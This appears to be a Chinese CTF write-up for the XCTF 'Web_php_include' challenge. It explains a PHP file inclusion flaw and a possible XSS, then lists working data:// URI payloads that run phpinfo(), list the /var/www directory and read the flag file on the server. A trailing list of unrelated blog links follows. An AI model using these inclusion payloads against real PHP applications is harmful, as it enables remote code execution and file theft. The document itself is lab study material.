32.攻防世界Web_php_include

进入场景

echo $_GET'hello' 直接将用户通过 GET 方法提交的 hello 参数值输出到页面上,这可能会导致 XSS(跨站脚本攻击)漏洞。

在下面的代码中,虽然对 page 中的 php:// 进行了替换处理,但是仍然存在文件包含漏洞的风险。如果我们能够通过 _GET'page' 传入一个恶意的文件路径,就可能导致服务器上的任意文件被包含和执行

"file://"是一种用于指定本地文件系统中文件的URI(统一资源标识符)协议。通过"file://"协议,可以在浏览器或其他支持该协议的应用程序中访问本地文件

"data://"协议是 PHP 中的一种数据流协议,它允许将数据作为文件来读取。该协议的语法如下:data:(<mediatype>)(;base64),<data>,其中,<mediatype>是可选的媒体类型,<data>是数据内容。

测试

/?page=data://text/plain,<?php phpinfo()?>

目录路径

/?page=data://text/plain,<?php echo $_SERVER'DOCUMENT_ROOT'; ?>

目录文件

/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

读取文件内容

/?page=data://text/plain,<?php a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars(a); ?>

相关推荐
砚凝霜12 小时前
软考网络工程师|第 5 章 广域网基础技术完整备考笔记
网络·笔记
oier_Asad.Chen12 小时前
【OI学习笔记】Floyed-Warshall算法解决传递闭包问题
c++·笔记·学习·算法·图论·最短路·传递闭包
鱼听禅13 小时前
C#学习笔记-添加编译参数到程序集自动更新程序编译时间
笔记·学习·c#
香菜TTT13 小时前
LangChain框架_学习笔记
笔记·学习·langchain
Lust Dusk13 小时前
记一次web渗透做题思路解析
网络·安全·web安全·网络安全
春水碧于天,画船听雨眠13 小时前
LangChain学习笔记(二)
笔记·学习·langchain
MartinYeung513 小时前
[论文学习]AdvWeb:针对VLM驱动的Web Agent的可控黑盒攻击
学习
colman wang13 小时前
vibe coding学习手册
学习
210Brian14 小时前
STM32学习笔记(四)OLED显示屏与Keil调试
笔记·stm32·学习
盖世汤猿14 小时前
AUTOSAR BSW 全栈开发学习计划(35岁危机)
学习